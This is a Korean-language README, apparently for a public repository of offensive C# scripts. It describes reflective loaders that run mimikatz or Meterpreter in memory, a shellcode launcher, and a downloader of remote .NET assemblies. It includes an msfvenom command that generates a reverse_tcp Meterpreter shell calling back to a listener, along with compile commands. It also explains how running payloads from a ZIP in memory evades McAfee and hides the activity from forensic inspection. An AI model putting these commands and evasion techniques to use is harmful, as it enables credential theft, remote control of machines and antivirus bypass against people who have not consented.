
반사형 PE 및 셸코드 인젝션, 인메모리 페이로드 실행, XOR 브루트포스 셸코드 복호화, .NET 어셈블리 파싱을 위한 C# 공격 스크립트.
작성자: Arno0x0x - @Arno0x0x
이 저장소는 제 C# 스크립트 일부를 공개하는 것을 목표로 합니다. 일부는 여기저기서 찾은 다른 스크립트에서 포크하거나 영감을 받은 것이며, 제 필요에 맞게 적용하거나 단순히 배우고 개선하기 위해 각색했습니다.
bfDecryptShellcode.cs
이 스크립트는 다중 바이트 XOR 암호화된 셸코드를 무차별 대입으로 복호화하는 다소 단순하고 그다지 유용하지 않을 수 있는 PoC입니다. 셸코드가 복호화되면 메모리에 로드되어 실행됩니다.
사용하려면 두 가지가 필요합니다:
두 가지 모두 제 ShellcodeWrapper 프로젝트를 사용하고 여기에 임의의 raw metasploit 페이로드를 넣어 얻을 수 있습니다.
parseAssembly.cs
이 콘솔 애플리케이션은 .Net 어셈블리(exe 또는 dll)를 로컬 파일 또는 URL에서 다운로드하여 동적으로 로드하며, 선택적으로 base64 인코딩될 수 있습니다. 로드되면 해당 타입, 메서드 및 속성을 열거합니다.
예시:
parseAssembly.exe myAssembly.dll
또는
parseAssembly.exe http://some.site.com/myAssembly base64
이것은 다양한 소스에서 호출 프로세스에 PE 또는 셸코드를 반사적으로 주입하는 Casey Smith(@subTee)의 작업을 각색한 스크립트 모음입니다.
peloader.cs
이 스크립트는 base64 인코딩된 x64 PE 파일(예: Mimikatz 또는 Meterpreter)을 프로세스 메모리에 로드하고 반사적으로 실행합니다. PE는 파일 시작 부분에 base64 문자열 변수로 전달됩니다(예, 하드코딩되어 있습니다).
다음 *nix 명령줄을 사용하여 임의의 파일에서 이 base64 인코딩 문자열을 생성할 수 있습니다:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
Windows 머신에서 스크립트를 컴파일하려면 .Net framework가 필요합니다 (Windows 7 이상에서는 기본적으로 설치됨):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
이 스크립트는 셸코드를 프로세스의 메모리에 실행하고 반사적으로 실행합니다. 셸코드는 변수에 바이트 배열로 전달됩니다. Metasploit의 msfvenom 유틸리티를 사용하여 이 배열에 대한 적절한 코드를 자동으로 생성할 수 있습니다. 예를 들어, reverse_tcp meterpreter 셸코드를 생성하려면:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
Windows 머신에서 스크립트를 컴파일하려면 .Net framework가 필요합니다(Windows 7 이상에서는 기본으로 설치됨):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
이 스크립트는 Casey Smith(@subTee)의 Netkatz 작업을 기반으로, 그로부터 영감을 받아, 그로부터 파생된 것으로, 부끄러울 정도로 많은 부분을 의존하고 있습니다.
저는 회사 워크스테이션의 로컬 안티바이러스(McAfee)가 ZIP 파일의 내용을 분석하지 않도록 구성되어 있다는 것을 발견했습니다. 아마도 이 내용을 읽거나 실행해야 할 때면 보통 먼저 디스크 어딘가에 압축을 풀게 되고, 그 안에 있는 악성 요소는 그 시점에 AV에 의해 잡힐 것이라는 가정에 기반한 것으로 보입니다.
이 스크립트가 하는 일은 모든 것을 메모리에 로드하고 오직 그곳에서만 작업하며, 또한 리플렉션을 사용하여 호출 프로세스의 메모리에서 PE를 실행합니다.
따라서 AV가 전혀 경고하지 않을 뿐만 아니라, 포렌식 관점에서도 유일하게 "눈에 보이는 실행 중인 프로세스"가 완벽하게 무해해 보입니다.
Windows 머신에서 이 스크립트를 컴파일하려면 .Net 프레임워크(Windows 7 이상에 기본 설치됨)가 필요합니다:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
그런 다음 다음을 실행할 수 있습니다:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
이 스크립트는 Casey Smith(@subTee)의 Netkatz 작업에 크게 기반을 두고 있으며 그로부터 영감을 받았습니다.
Netkatz는 최신 mimikatz 릴리스를 GitHub에서 로드하여 메모리에서 바로 실행하는 훌륭한 PoC입니다. 그러나 제 환경에서는 세 가지 문제에 직면했습니다:
그래서 저는 이 세 가지 문제를 해결하기 위해 원본 netkatz 스크립트를 수정했습니다:
숨겨진 PE를 다운로드할 URL은 스크립트에 하드코딩되어 있습니다.
Windows 머신에서 스크립트를 컴파일하려면 .Net framework가 필요합니다 (Windows 7 이상에서는 기본으로 설치됨):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs